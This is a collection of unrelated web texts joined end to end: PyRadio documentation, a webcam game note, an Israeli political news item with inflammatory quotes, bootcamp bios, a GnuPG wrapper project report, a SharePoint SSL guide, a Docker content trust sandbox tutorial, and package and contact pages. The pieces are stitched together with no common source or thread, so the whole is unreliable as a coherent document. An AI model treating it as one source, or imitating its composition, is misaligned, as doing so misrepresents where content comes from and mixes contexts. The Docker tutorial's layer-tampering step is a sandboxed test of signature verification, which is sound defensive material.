Optionally, a third column can be inserted, stating the encoding used by the station (more on this at Specifying stations’ encoding).
PyRadio will by default load the user’s stations file (e.g. ~/.config/pyradio/stations.csv) to read the stations from. If this file is not found, it will be created and populated with a default set of stations.
Tip: If you already have a custom stations.csv file, but want to update it with PyRadio’s default one, you just rename it, run PyRadio (so that the default one get created) and then merge the two files.
Note: Older versions used to use ~/.pyradio as default stations file. If this file is found, it will be copied to use’s config directory (e.g. ~/.config/pyradio) and renamed to stations.csv or if this file exists, to pyradio.csv. In this case, this file will be the default one.
PyRadio will normally load its default playlist file, as described above, upon its execution. A different file can be loaded when the -s command line option is used.
The -s option will accept:
Examples:
To load a playlist called “blues.csv”, one would use the command:
pyradio -s /path/to/blues.csv
If this file was saved inside PyRadio’s configuration directory, one could use the following command:
pyradio -s blues
To use the playlist number, one would execute the commands:
$ pyradio -ls Playlists found in "/home/user/.config/pyradio" 1. hip-hop 2. party 3. stations 4. huge 5. blues 6. rock 7. pop $ pyradio -s 5
Note: The default playlist to load can also be set in PyRadio’s configuration file, parameter default_playlist (default value is stations).
Once PyRadio has been loaded, one can perform a series of actions on the current playlist and set of playlists saved in its configuration directory.
Currently, the following actions are available:
One thing you may want to do is remove a station from a playlist, e.g. when found that it not longer works. You can do that by pressing “DEL” or “x”.
Then, when this is done, you can either save the modified playlist, by pressing “s”, or reload the playlist from disk, by pressing “R”. A modified playlist will automatically be saved when PyRadio exits (or Ctrl-C is pressed).
Finally, opening another playlist is also possible. Just press “o” and you will be presented with a list of saved playlists to choose from. These playlists must be saved beforehand in PyRadio’s configuration directory.
While executing any of the previous actions, you may get confirmation messages (when opening a playlist while the current one is modified but not saved, for example) or error messages (when an action fails). Just follow the on screen information, keeping in mind that a capital letter as an answer will save this answer in PyRadio’s configuration file for future reference.
A playlist that does not reside within the program’s configuration directory is considered a “foreign” playlist. This playlist can only be opened by the -s command line option.
When this happens, PyRadio will offer you the choice to copy the playlist in its configuration directory, thus making it available for manipulation within the program.
If a playlist of the same name already exists in the configuration directory, the “foreign” playlist will be time-stamped. For example, if a “foreign” playlist is named “stations.csv”, it will be named “2019-01-11_13-35-47_stations.csv” (provided that the action was taken on January 11, 2019 at 13:35:47).
Normally, stations provide information about their status (including the title of the song playing, which PyRadio displays) in Unicode (utf-8 encoded). Therefore, PyRadio will use utf-8 to decode such data, by default.
In an ideal world that would be the case for all stations and everything would be ok and as far as PyRadio is concerned, songs’ titles would be correctly displayed. Unfortunately, this is not the case.
A lot of stations encode and transmit data in a different encoding (typically the encoding used at the region the come from). The result in PyRadio would be that a song title would be incorrectly displayed, not displayed at all, or trying to displaying it might even break PyRadio’s layout.
Note: vlc will not work in this case; it presumably tries to decode the said data beforehand, probably using utf-8 by default, and when it fails, it provides a “(null)” string, instead of the actual data. So, you’d better not use vlc if such stations are in your playlists.
PyRadio addresses this issue by allowing the user to declare the encoding to use either in a station by station mode or globally.
As previously stated, a PyRadio’s playlist can optionally contain a third column (in addition to the station name and station URL columns), which declares the station’s encoding.
So, when a non-utf-8 encoded station is inserted in a playlist, its encoding can also be declared along with its other data. The drawback of this feature is that an encoding must be declared for all stations (so that the CSV file structure remains valid). To put it simple, since one station comprises the third column, all stations must do so as well.
This may seem intimidating (and difficult to achieve), but it’s actually really simple; just add a “,” character at the end of the line of each station that uses the default encoding. In this way, all stations comprise the third column (either by declaring an actual encoding or leaving it empty).
Example:
Suppose we have a playlist with one utf-8 encoded station:
Station1,Station1_URL
Now we want to add “Station2” which is iso-8859-7 (Greek) encoded.
Since we know all stations must comprise the third (encoding) column, we add it to the existing station:
Station1,Station1_URL,
Finally, we insert the new station to the playlist:
Station1,Station1_URL, Station2,Station2_URL,iso-8859-7
Note: Using the -a command line option will save you all this trouble, as it will automatically take care of creating a valid CSV file.
PyRadio’s configuration file contains the parameter default_encoding, which by default is set to utf-8.
Setting this parameter to a different encoding, will permit PyRadio to successfully decode such stations.
This would be useful in the case where most of your stations do not use utf-8. Instead of editing the playlist and add the encoding to each and every affected station, you just set it globally.
A valid encoding list can be found (depends on python version):
Or use this URL
replacing 2.6 with specific version: 2.7, 3.0 up to current python version.
PyRadio is basically built around the existence of a valid media player it can use. Thus, it will auto detect the existence of its supported players upon its execution.
Currently, it supports MPV, MPlayer and VLC, and it will look for them in that order. If none of them is found, the program will terminate with an error.
MPV will be used only when the socat multipurpose relay is also installed.
Users can alter this default behavior by using the -u command line option. This option will permit the user either to specify the player to use, or change the detection order.
Example:
pyradio -u vlc
will instruct PyRadio to use VLC; if it is not found, the program will terminate with an error.
pyradio -u vlc,mplayer,mpv
will instruct PyRadio to look for VLC, then MPlayer and finaly for MPV and use whichever it finds first; if none is found, the program will terminate with an error.
Note: The default player to use can also be set in PyRadio’s configuration file, parameter player (default value is mpv, mplayer, vlc).
MPV and MPlayer, when started, use their saved (or default) volume level to play any multimedia content. Fortunately, this is not the case with VLC.
This introduces a problem to PyRadio: every time a user plays a station (i.e restarts playback), even though he may have already set the volume to a desired level, the playback starts at the player’s default level.
The way to come around it, is to save the desired volume level in a way that it will be used by the player whenever it is restarted.
This is done by typing “v” right after setting a desired volume level.
MPV uses profiles to customize its behavior.
PyRadio defines a profile called “[pyradio]” in MPV’s configuration file (e.g. ~/.config/mpv/mpv.conf). This profile will be used every time playback is started.
Example:
volume=100 [pyradio] volume=50
MPlayer uses profiles to customize its behavior as well.
PyRadio defines a profile called “[pyradio]” in MPV’s configuration file (e.g. ~/.mplayer/config). This profile will be used every time playback is started.
Example:
volume=100 [pyradio] volstep=1 volume=28
Adding the -d option to the command line will instruct PyRadio to enter Debug mode, which means that it will print debug messages to a file. This file will always reside in the user’s home directory and will be named pyradio.log.
In case of a bug or a glitch, please include this file to the issue you will open in github.


To track web cam movement, I used
Pose Net, a machine learning model that allows for Real-time Human Pose Estimation (shout out to
ml5). To control movement, I simply calculate directional deviations from your initial face placement, and move the sperm cell in the direction with the largest magnitude. Because everything is done in the browser, your web-cam data never leaves your computer, and is never stored anywhere.
All the processing stuff was handled using
p5.


Congratulations, you've got Ansuz up and running! Now you should just log in as an admin and start fooling around!
Current Item
-
This is the title of the item up to 64 characters in width XXXX
This is the description of the item and can be up to 128 chars, which is a lot longer than the title and would extent out to here X.
Current time
0:00


Regev: They would sell the country to terror
Culture Minister decries possibility of minority left-wing government formed with outside Arab support.
by Arutz Sheva StaffCulture and Sports Minister Miri Regev expressed dismay at the possibility of the formation of a minority left-wing government without outside support form the Arab parties.
"I am very upset and troubled for the people of Israel by the fact that three chiefs of staff and two defense ministers are selling the state for terror supporters and terrorists such as Ahmad Tibi and Ayman Odeh," said Regev.
"Once they decided to go to a minority government, they spit on the bereaved families, spit on the IDF soldiers, and IDF commanders. I remind them that Ahmad Tibi and Ayman Odeh once called former IDF Chiefs of Staff war criminals and today also call IDF soldiers war criminals," she added.
Regev said later that she did not see a problem with the prime minister's briefing talks with Likud MKs during Shabbat.
"Anyone who observes Shabbat does not take part in these talks," Minister Regev clarified following the allegations made last night that the prime minister conducted political activity on Shabbat.
"We maintain tradition, believe in the Holy One, Blessed Be He, I at least believe.
"We value our haredi partners so we go together in one block, the block of 55 [right-wing and haredi MKs]," the Minister of Culture added.


insert background info here
mention internships
more info
Grand Circus is an extensive 10-week bootcamp located in Detroit, MI. I participated in the Java bootcamp where I was able to review my object oriented programming abilities while picking up skills such as TDD, Spring Boot apps, etc.


I'm Lara Bjork, and these are some of the projects I've started as a student at Epicodus, as well as a little bit of information about me.
These are presented in the order that they were completed, although sometimes we revisited projects to incorporate a new skill. Unless otherwise indicated, links will take you to a GitHub repository.
Epicodus's curriculum emphasizes pair programming.
Thank you to all my pairs for working through these together!
Before I signed up for the Epicodus program, I had been a grant writer and technical editor for 18 years. That's a long time spent meeting deadlines and attending to details. I was drawn to coding because there's always something to learn, because I like solving logic puzzles, and because I still really like working at a detailed level but zooming out to get the big picture, too.


---
layout: layouts/post.njk
title: CodeNewbie Podcast
permalink: /code-newbie/
date: '2015-08-03'
comments: true
tags:
- development
- design
- interview
- podcast
subtitle: I was interviewed for the CodeNewbie podcast, where I talk about life, IBM Design, open source, and personal goals.
link-out: http://www.codenewbie.org/podcast/design-and-dev
---
If you are not redirected, please visit this think!


Technical Guide¶
COGS is a command line application. It performs its work in two steps.
- Read a model as specified according to the Modeler’s Guide.
- Generate many outputs by invoking a publisher. Each publisher is described in the Command Line section.
Since a COGS model is just plain text, many people can collaborate on the same model and synchronize their work using version control software like subversion or git. Outputs can automatically be built whenever the model changes using a Continuous Integration system. This allows for a transparent development process and fast iterations.


GSoC 2018
EasyGnuPG
Student: Divesh Uttamchandani
Mentors: Dashamir Hoxha, T. K. Sourab
About EGPG
EasyGnuPG (a.k.a EGPG) is a shell script that wraps GPG and tries to make it more accessible and more easy to use. In order to simplify things, it is opinionated about the “right” way of using GnuPG.
EGPG
has a basic set of commands which wrap most commonly used commands in GnuPG.
It makes gpg’s use consistant, easier and follows good practices for encryption.
Refer Dashamir’s blog post on EGPG for the detailed philosophy behind EGPG.
About my GSoC project
EGPG
is wrapped around gpg
and calls it internally. This makes it sensitive to the changes
in gpg
commandline interface and hence unstable.
My inital GSoC proposal was to replicate EGPG
functionality in python
built with GPGME python bindings. Though at a later point we realized that instead of porting
the complete command line from bash to python, we can simplify our project by only replacing
the calls to gpg
CLI in EGPG
with calls to python scripts.
This would make the testing easier as well as we can rely on the stablility of existing egpg
system.
Though I had done some work towards the complete python rewrite during the second week, but we shifted to the other appraoch after this.
Apart from this, since the project got a bit easier, I worked on creating
the debian package as well as a Basic GUI for egpg
using YAD . Though quite some work has
been done but they are not ready for general use yet. I plan to contribute
towards the project after GSoC and plan to finish these off.
Final work product
The final work product can be found in the EasyGnuPG/pgpg#gnupg repo. You can also find the diff of major work done by me in EasyGnuPG/pgpg#PR/88.
Most of my commits can be found here:
What could not be completed
-
Though many of the calls in
egpg
were ported. Some couldn’t be done due to technical difficulties faced with GPGME bindings. These can be found as issues with label gsoc/not-fixed in EasyGnuPG/pgpg. -
Though we did prepare a basic Debian package, it has not been published and is not complaint with Debian policy yet.
-
The GUI could not be completed as my university began on 1st August 2018 which decreased my work capacity. Though I plan to contribute further and finish this after GSoC.
Difficulties faced
-
One of the major difficulty in this was working with the GPGME. It is good and most of the operations required for the project could be completed. They do provide a finer control over the engine as well as output format, But they don’t support all the operations. There are many things that we can’t achieve through GPGME. Even if there is a way it is quite combursome. Like using
interact
funcitonality which is essentially likegpg --edit-key
follwed by exchanging lower level commands with the engine. -
Also for the python bindings, they are developed over SWIG and are still being updated with a higher level API for python. For my project I have used higher level API whenever possible.
Major takeaways
GSoC was a great learning experience. Major take away includes:
- Bash Scripting
- Working of GnuPG and its various components
- Python
- Yad


Action lists are used to display a list of links. Appropriate active, hover state styles are added to the links. Add .list-group-item-active to list group items which are themselves defined using anchor tags. Add disabled to disable a link.


| Finite
Geometry Notes |
See also...The Diamond 16 Puzzle
Cases of the diamond theorem
2002 May 22 (html)
See also...Finite Relativity
The Miracle Octad Generator (MOG) of R. T. Curtis
2005 Nov. 30 (html)
Inscapes: views of the generalized quadrangle GQ(2,2)The Geometry of Logic
2006 Jan. 19 (html)
Inscapes I,
1982 June 12 (jpg) (pdf)
Inscapes II, query,
1982 Sept. 22 (jpg) (html) (pdf)
Inscapes III: PG(2,4) from PG(3,2),
1986 Feb. 4 (jpg)
The 2-subsets of a 6-set are the points of a PG(3,2)
1986 May 26 (jpg)
Inscapes IV: Inner and outer group actions,
1986 July 11 (jpg)
Picturing the smallest projective 3-space,
1986 April 26 (jpg) (gif) (pdf)
A linear complex related to M24
1986 May 8 (jpg)
An outer automorphism of S6 related to M24
1986 June 11 (jpg)
Picturing outer automorphisms of S6
1986 July 3 (jpg)
The smallest projective (3-)space
2002 May 21 (html)


Hiking Checklist
Water Bottle
Map
Compass
Walking Stick
Snacks
Extra Socks
First Aid Kit
Bug Spray
Whistle
Flashlight
Extra Layars (Winter/Fall)
Jacket/Sweatshirt


The Story
I haven't touched SharePoint in a while, but I've been asked by a friend to help him do something "the right way".
We were looking for a way to add an HTTPS binding to an existing SharePoint 2010 site. Google is full of ways of doing that, but they
involve adding another binding manually via IIS, like this:
Everyone who's familiar with SharePoint (and especially with cleaning after poor SharePoint infrastructure work) can see the issue immediately - even if this method works (and it might, with some added configuration) it will only apply to the current SharePoint front-end server - it won't be reflected in:
- Other servers in the farm
- This server if it's rejoined (as a troubleshooting measure)
- Future servers added to the farm
This happens because SharePoint is not informed of the new configuration. The right way is through Web Application Extension
What is Web Application Extension
Having more than one binding (a port the IIS site is listening to) is new to IIS 7 (until then, each site had one HTTP port and one HTTPS port). Since SharePoint 2010 is in this mindset (maybe left-overs from 2007), each SharePoint web application is contained in one IIS site, which has only one port.
However, an administrator can "extend" a web application to a child-web application, allowing the same SharePoint sites to be served using different authentication mechanisms, ports etc.
More about extending here.
Basically, you supply SharePoint with information about the new Web Application you want (name, port, SSL, authentication etc.) and the zone it's capturing (for alternate access
mappings
- other URLs that the application might be viewed from).
Via Central Administration (GUI):
Open "Web Applications Management" and select the Web Application you wish to extend
Hit "Extend" (under "Contribute") and fill the form to match the configuration of the new web application you wish to create. If you've used alternate access mappings before with this web application, make sure not to choose a zone you didn't use already (if you're not familiar with this term, you're probably OK with using "Intranet")
Make sure the IIS site has been created. If you did choose SSL, you probably want to configure the certificate.
Unfortunately, this is done via IIS console (and has to be repeated for every server).
Open IIS console, find your new site and select "bindings". Choose the only binding there, select "edit" and choose your favorite certificate.
Make sure everything works!
Via PowerShell:
It's much quicker and even included in the official examples.
Straight from the Snap-in's documentation:
Get-SPWebApplication 'http://sitename' | New-SPWebApplicationExtension -Name "ExtranetSite" -SecureSocketsLayer -Zone "Extranet" -URL "https://extranet.sitename.com"
"This example extends the given Web application at http://sitename to
the Extranet zone for SSL use."
You still have to configure the SSL certificate and make sure everything works.
Undoing
To reverse the process, see "Unextend a Web application" for both GUI and PowerShell methods.


Register to get a license key for the HP sponsored Cloud Raxak Protect™ 6 month Free Trial.
Exclusively for TiEcon 2015 attendees.
HP SPONSORED FREE TRIAL
Once you fill out the form on this page, you will get a individualized license key good for 6 months of free usage. This key will allow you to apply standard DISA/NIST recommended security profiles to your CentOS, RHEL, or Amazon Linux AMI virtual machines on AWS.
Note that Raxak Protect will ask you to login with Amazon. Please provide the email address associated with your Amazon account.


{{ Car.brand }} {{ Car.model }}
Color:
{{ Car.color }}
Number:
{{ Car.number }}
Owner:
{{ Car.owner.get }}
Get back


After watching Shereef's Fireside Chat, I'm still somewhat nervous about the whole Dev Bootcamp experience. I am definitely excited to get going, and learn how to be a "world class beginner", but am mostly unsettled by the expectations for when I begin the 9 week on site program. Despite these feelings though, I really believe that the mentors and community at DBC are looking to help each and every student succeed. One of the things that drew me to this bootcamp specifically was the small class sizes. Coming from a university where the majority of my classes were very big, I'm looking forward the learning environment at DBC.
My major impression of DBC is that the mentors there aren't trying to only make sure you know the technical aspects of programming, but help shape you to be an empathetic individual who is able to work efficiently on cross-functional teams. I'm excited about this aspect of the DBC culture because for me individually, if I can acclimate to that culture, it'll ease my mind and make me more comfortable when picking up those technical skills. I think I have seen enough video testimonials and listened to enough people who have gone through Dev Bootcamp, where I have a decent sense of what the atmosphere and culture is all about, but I think not entirely knowing what to expect until I step foot in the building, is something that will be exciting for me.
Overall, I feel as though I am ready to give this program 110% of my time and effort, especially because I don't have many other responsibilities at this point in time. As someone starting out as basically a beginner, I am coming into this program hoping, somewhat naively, that my drive and determination will be able to get me through it all. I'm eager to see where this will lead me, and connect with the other students who are on this 18 week journey as well.
Until next time,
Vineet Rastogi


{% extends "base.html" %} {% block content %}
ASI-D is a non-profit group of bloggers from around the world. We practice a style of reporting that's off the beaten path and designed for human beings.
Our articles cover a wide-range of different topics. Unity, Mir, Compiz, KDE, Gnome, Firefox, Chrom(ium), and Blender are just some of the many open-source tools and apps we have written about. We provide tutorials, tips, reviews, news, and the occasional rant. (We try to keep the rants to a minimum.)
We're not quite as old as Ubuntu, but our archives span a number of years. Here's a brief overview of how we got our start and what happened after that.
ASI-D was founded around March 2011 by Roland Taylor, and later expanded to included the likes of Joshua P. Bell, James Gifford, Nathan Osman, Amith K.K. and Nitin Venkatesh. These six are our current site and community administrators.
Our blogging platform was originally a Wordpress-powered blog. We have changed web hosts a number of times - we have used everything from Ondina to Rackspace. Our current blogging engine is a set of custom Django apps hosted on a VPS "in the cloud."
The site domain name is owned by Joshua Bell, and the our blogging platform was created by Nathan Osman. Our social networking artwork (as featured on Google+, Twitter and Facebook) was created by Roland Taylor and released as Open Source without a specific license. James Gifford runs our "hotline" and champions our mailing list and server logs.
Our tagline, "News For Human Beings," was inspired by "Linux for human beings," the tagline of the Ubuntu project.
The source code for our blogging engine as well as our Android app is located on our GitHub organization page — ASI-D on GitHub.
All content on this blog (unless otherwise noted) is released under a CC BY-SA 4.0 license. If you are interested in reproducing an article that is not licensed for reproduction, please use our contact form to get in touch with us.
ASI-D is written in Python and uses the Django web framework. The user interface uses Bootstrap 3.
Our articles are written in Markdown and stored in a PostgreSQL database. The Markdown is rendered to HTML and cached with Redis.
This server ({{ hostname }}) is running Django {{ django_version }} on Python {{ python_version }}.
{% if commit %}Also, this server is running on commit {{ commit.hash }}, which was created by {{ commit.author }} {{ commit.date|timesince }} ago.
{% endif %}ASI-D currently has {{ num_users }} registered user{{ num_users|pluralize }} who ha{{ num_users|pluralize:"s,ve" }} written {{ num_articles }} article{{ num_articles|pluralize }}. {% if num_articles > 100 %} That's a lot of articles! {% endif %}


Play in a content trust sandbox
読む時間の目安: 8 分This page explains how to set up and use a sandbox for experimenting with trust. The sandbox allows you to configure and try trust operations locally without impacting your production images.
Before working through this sandbox, you should have read through the trust overview.
Prerequisites
These instructions assume you are running in Linux or macOS. You can run this sandbox on a local machine or on a virtual machine. You need to have privileges to run docker commands on your local machine or in the VM.
This sandbox requires you to install two Docker tools: Docker Engine >= 1.10.0 and Docker Compose >= 1.6.0. To install the Docker Engine, choose from the list of supported platforms. To install Docker Compose, see the detailed instructions here.
What is in the sandbox?
If you are just using trust out-of-the-box you only need your Docker Engine client and access to the Docker Hub. The sandbox mimics a production trust environment, and sets up these additional components.
| Container | Description |
|---|---|
| trustsandbox | A container with the latest version of Docker Engine and with some preconfigured certificates. This is your sandbox where you can use the docker client to test trust operations. |
| Registry server | A local registry service. |
| Notary server | The service that does all the heavy-lifting of managing trust |
This means you run your own content trust (Notary) server and registry. If you work exclusively with the Docker Hub, you would not need these components. They are built into the Docker Hub for you. For the sandbox, however, you build your own entire, mock production environment.
Within the trustsandbox
container, you interact with your local registry rather
than the Docker Hub. This means your everyday image repositories are not used.
They are protected while you play.
When you play in the sandbox, you also create root and repository keys. The
sandbox is configured to store all the keys and files inside the trustsandbox
container. Since the keys you create in the sandbox are for play only,
destroying the container destroys them as well.

Build the sandbox
In this section, you use Docker Compose to specify how to set up and link together
the trustsandbox
container, the Notary server, and the Registry server.
-
Create a new
trustsandbox
directory and change into it.$ mkdir trustsandbox $ cd trustsandbox
-
Create a file called
docker-compose.yml
with your favorite editor. For example, using vim:$ touch docker-compose.yml $ vim docker-compose.yml
-
Add the following to the new file.
version: "2" services: notaryserver: image: dockersecurity/notary_autobuilds:server-v0.5.1 volumes: - notarycerts:/var/lib/notary/fixtures networks: - sandbox environment: - NOTARY_SERVER_STORAGE_TYPE=memory - NOTARY_SERVER_TRUST_SERVICE_TYPE=local sandboxregistry: image: registry:2.4.1 networks: - sandbox container_name: sandboxregistry trustsandbox: image: docker:dind networks: - sandbox volumes: - notarycerts:/notarycerts privileged: true container_name: trustsandbox entrypoint: "" command: |- sh -c ' cp /notarycerts/root-ca.crt /usr/local/share/ca-certificates/root-ca.crt && update-ca-certificates && dockerd-entrypoint.sh --insecure-registry sandboxregistry:5000' volumes: notarycerts: external: false networks: sandbox: external: false
-
Save and close the file.

Play in the sandbox
Now that everything is setup, you can go into your trustsandbox
container and
start testing Docker content trust. From your host machine, obtain a shell
in the trustsandbox
container.
$ docker container exec -it trustsandbox sh
/ #
Test some trust operations
Now, pull some images from within the trustsandbox
container.
-
Download a
docker
image to test with./ # docker pull docker/trusttest docker pull docker/trusttest Using default tag: latest latest: Pulling from docker/trusttest b3dbab3810fc: Pull complete a9539b34a6ab: Pull complete Digest: sha256:d149ab53f8718e987c3a3024bb8aa0e2caadf6c0328f1d9d850b2a2a67f2819a Status: Downloaded newer image for docker/trusttest:latest
-
Tag it to be pushed to our sandbox registry:
/ # docker tag docker/trusttest sandboxregistry:5000/test/trusttest:latest
-
Enable content trust.
/ # export DOCKER_CONTENT_TRUST=1
-
Identify the trust server.
/ # export DOCKER_CONTENT_TRUST_SERVER=https://notaryserver:4443
This step is only necessary because the sandbox is using its own server. Normally, if you are using the Docker Public Hub this step isn’t necessary.
-
Pull the test image.
/ # docker pull sandboxregistry:5000/test/trusttest Using default tag: latest Error: remote trust data does not exist for sandboxregistry:5000/test/trusttest: notaryserver:4443 does not have trust data for sandboxregistry:5000/test/trusttest
You see an error, because this content doesn’t exist on the
notaryserver
yet. -
Push and sign the trusted image.
/ # docker push sandboxregistry:5000/test/trusttest:latest The push refers to a repository [sandboxregistry:5000/test/trusttest] 5f70bf18a086: Pushed c22f7bc058a9: Pushed latest: digest: sha256:ebf59c538accdf160ef435f1a19938ab8c0d6bd96aef8d4ddd1b379edf15a926 size: 734 Signing and pushing trust metadata You are about to create a new root signing key passphrase. This passphrase will be used to protect the most sensitive key in your signing system. Please choose a long, complex passphrase and be careful to keep the password and the key file itself secure and backed up. It is highly recommended that you use a password manager to generate the passphrase and keep it safe. There will be no way to recover this key. You can find the key in your config directory. Enter passphrase for new root key with ID 27ec255: Repeat passphrase for new root key with ID 27ec255: Enter passphrase for new repository key with ID 58233f9 (sandboxregistry:5000/test/trusttest): Repeat passphrase for new repository key with ID 58233f9 (sandboxregistry:5000/test/trusttest): Finished initializing "sandboxregistry:5000/test/trusttest" Successfully signed "sandboxregistry:5000/test/trusttest":latest
Because you are pushing this repository for the first time, Docker creates new root and repository keys and asks you for passphrases with which to encrypt them. If you push again after this, it only asks you for repository passphrase so it can decrypt the key and sign again.
-
Try pulling the image you just pushed:
/ # docker pull sandboxregistry:5000/test/trusttest Using default tag: latest Pull (1 of 1): sandboxregistry:5000/test/trusttest:latest@sha256:ebf59c538accdf160ef435f1a19938ab8c0d6bd96aef8d4ddd1b379edf15a926 sha256:ebf59c538accdf160ef435f1a19938ab8c0d6bd96aef8d4ddd1b379edf15a926: Pulling from test/trusttest Digest: sha256:ebf59c538accdf160ef435f1a19938ab8c0d6bd96aef8d4ddd1b379edf15a926 Status: Downloaded newer image for sandboxregistry:5000/test/trusttest@sha256:ebf59c538accdf160ef435f1a19938ab8c0d6bd96aef8d4ddd1b379edf15a926 Tagging sandboxregistry:5000/test/trusttest@sha256:ebf59c538accdf160ef435f1a19938ab8c0d6bd96aef8d4ddd1b379edf15a926 as sandboxregistry:5000/test/trusttest:latest
Test with malicious images
What happens when data is corrupted and you try to pull it when trust is
enabled? In this section, you go into the sandboxregistry
and tamper with some
data. Then, you try and pull it.
-
Leave the
trustsandbox
shell and container running. -
Open a new interactive terminal from your host, and obtain a shell into the
sandboxregistry
container.$ docker container exec -it sandboxregistry bash root@65084fc6f047:/#
-
List the layers for the
test/trusttest
image you pushed:root@65084fc6f047:/# ls -l /var/lib/registry/docker/registry/v2/repositories/test/trusttest/_layers/sha256 total 12 drwxr-xr-x 2 root root 4096 Jun 10 17:26 a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 drwxr-xr-x 2 root root 4096 Jun 10 17:26 aac0c133338db2b18ff054943cee3267fe50c75cdee969aed88b1992539ed042 drwxr-xr-x 2 root root 4096 Jun 10 17:26 cc7629d1331a7362b5e5126beb5bf15ca0bf67eb41eab994c719a45de53255cd
-
Change into the registry storage for one of those layers (this is in a different directory):
root@65084fc6f047:/# cd /var/lib/registry/docker/registry/v2/blobs/sha256/aa/aac0c133338db2b18ff054943cee3267fe50c75cdee969aed88b1992539ed042
-
Add malicious data to one of the
trusttest
layers:root@65084fc6f047:/# echo "Malicious data" > data
-
Go back to your
trustsandbox
terminal. -
List the
trusttest
image./ # docker image ls | grep trusttest REPOSITORY TAG IMAGE ID CREATED SIZE docker/trusttest latest cc7629d1331a 11 months ago 5.025 MB sandboxregistry:5000/test/trusttest latest cc7629d1331a 11 months ago 5.025 MB sandboxregistry:5000/test/trusttest <none> cc7629d1331a 11 months ago 5.025 MB
-
Remove the
trusttest:latest
image from our local cache./ # docker image rm -f cc7629d1331a Untagged: docker/trusttest:latest Untagged: sandboxregistry:5000/test/trusttest:latest Untagged: sandboxregistry:5000/test/trusttest@sha256:ebf59c538accdf160ef435f1a19938ab8c0d6bd96aef8d4ddd1b379edf15a926 Deleted: sha256:cc7629d1331a7362b5e5126beb5bf15ca0bf67eb41eab994c719a45de53255cd Deleted: sha256:2a1f6535dc6816ffadcdbe20590045e6cbf048d63fd4cc753a684c9bc01abeea Deleted: sha256:c22f7bc058a9a8ffeb32989b5d3338787e73855bf224af7aa162823da015d44c
Docker does not re-download images that it already has cached, but we want Docker to attempt to download the tampered image from the registry and reject it because it is invalid.
-
Pull the image again. This downloads the image from the registry, because we don’t have it cached.
/ # docker pull sandboxregistry:5000/test/trusttest Using default tag: latest Pull (1 of 1): sandboxregistry:5000/test/trusttest:latest@sha256:35d5bc26fd358da8320c137784fe590d8fcf9417263ef261653e8e1c7f15672e sha256:35d5bc26fd358da8320c137784fe590d8fcf9417263ef261653e8e1c7f15672e: Pulling from test/trusttest aac0c133338d: Retrying in 5 seconds a3ed95caeb02: Download complete error pulling image configuration: unexpected EOF
The pull did not complete because the trust system couldn’t verify the image.
More play in the sandbox
Now, you have a full Docker content trust sandbox on your local system, feel free to play with it and see how it behaves. If you find any security issues with Docker, feel free to send us an email at<EMAIL_ADDRESS>Clean up your sandbox
When you are done, and want to clean up all the services you’ve started and any anonymous volumes that have been created, just run the following command in the directory where you’ve created your Docker Compose file:
$ docker-compose down -v


ReportHub is currently under maintenance which will be completed by today ( June 26 )
Please return again to complete your reports.


Provides functions for fitting a sparse
partial least squares (SPLS) regression and classification
(Chun and Keles (2010) <doi:10.1111/j.1467-9868.2009.00723.x>).
| Version: |
2.2-2 |
| Depends: |
R (≥ 2.14) |
| Imports: |
MASS, nnet, parallel, pls |
| Published: |
2018-03-21 |
| Author: |
Dongjun Chung, Hyonho Chun, Sunduz Keles |
| Maintainer: |
Valentin Todorov <valentin.todorov at chello.at> |
| License: |
GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: |
no |
| Materials: |
ChangeLog |
| In views: |
ChemPhys |
| CRAN checks: |
spls results |


See us on Google Map
We Care Hospital
| Address | Block: E, Plot: 81, Bashundhara R/A, Dhaka 1229 |
| Phone | +88 02 9676356 +88 02 58610793-8 |
| Fax | +88 02 9615497 |
|<EMAIL_ADDRESS>| |
| Mobile | +88 0171-333-333-7 (24-hour Open) |
| Customer Care | +88 0176 666 21 11 |
| Website | wecarehospital.com |


LOG INTO YOUR SEOUL SOUL ACCOUNT
Invalid credentials
You have successfully logged out!
Email
Password
Don't have an account?
Forgot password?


Don't know what to cook? Simply add the ingredients you have and the app will find great recipes for you.


This website runs on JavaScript. Please enable JavaScript for full experience
The Useless (EP)
An Experimental EP using ToneJS
PLAY


GC.AllocateUninitializedArray should tighten its logic around when to return zeroed arrays · Issue #13292 · dotnet/runtime In dotnet/coreclr#24504, the ArrayPool<T>-derived types were changed to use GC.AllocateUninitializedArray<T>(...) under the covers as a performance optimization. The AllocateUninitializ...
ArrayPool.Shared.Rent should support returning a zero-inited array · Issue #24416 · dotnet/runtime Currently calling ArrayPool<T>.Shared.Rent does not guarantee that the returned buffer is zero-inited. While good for performance, this could cause correctness issues in applications, especia...
Rust for professionals This is a short introduction to Rust, intended for developers that already know another language. In the examples, Rust is compared with TypeScript, JavaScript or Java, sometimes with C++ or Kotlin.
New Microsoft.Toolkit.HighPerformance package by Sergio0694 · Pull Request #3128 · windows-toolkit/WindowsCommunityToolkit PR Type What kind of change does this PR introduce? Feature What is the new behavior? This PR introduces a new Microsoft.Toolkit.HighPerformance package, with a collection of types and ex...
Creating an endpoint from multiple middleware in ASP.NET Core 3.x In this post I show how you can create a composite endpoint in ASP.NET Core 3.x, by combining multiple middleware into a pipeline as your endpoint.
Chart Test HTTPUnited StatesIndiaUnited KingdomGermanyCanadaFranceBrazilAustraliaNetherlandsItalySpainMother RussiaPolandSwedenPhilippinesIsraelTurkeyKoreaRomaniaUkraineBelgiumSwitzerlandViet NamJapanMexicoSingaporeIndonesiaCzech RepublicPakistanDenmarkFinlandPortug...
xKloc/Todos Various todo list backend API implementations. Contribute to xKloc/Todos development by creating an account on GitHub.
davidfowl/Todos Various todo list backend API implementations. Contribute to davidfowl/Todos development by creating an account on GitHub.
Developer South Coast (Southampton, United Kingdom) We bring our members great talks from the best speakers in the UK and where possible from around the world. Predominately we look at the Microsoft development stack, but we do have platform neutral an


How do you learn from an action? Reflection. That’s what I did upon reviewing the Google analytics after posting a site I published anonymously on Reddit, an online community catered towards specific topics, and linking my personal website to a bunch of my LinkedIn posts.
As I’m still new to analyzing the different metrics, I can only make partial sense of the data. Thus, I will be linking screenshots of the Google reports to leave the source untouched. The below is just my opinion on what I think happened; it’s easy to connect the dots once everything is done but everyone has his or her interpretation.
Spreading a message on Reddit
see analytics here
I won’t mention the address to this website. However, for context, I created it to show a positive example of self-development, and the high levels of engagement received from the Reddit post I created helped a great deal in spreading this idea.
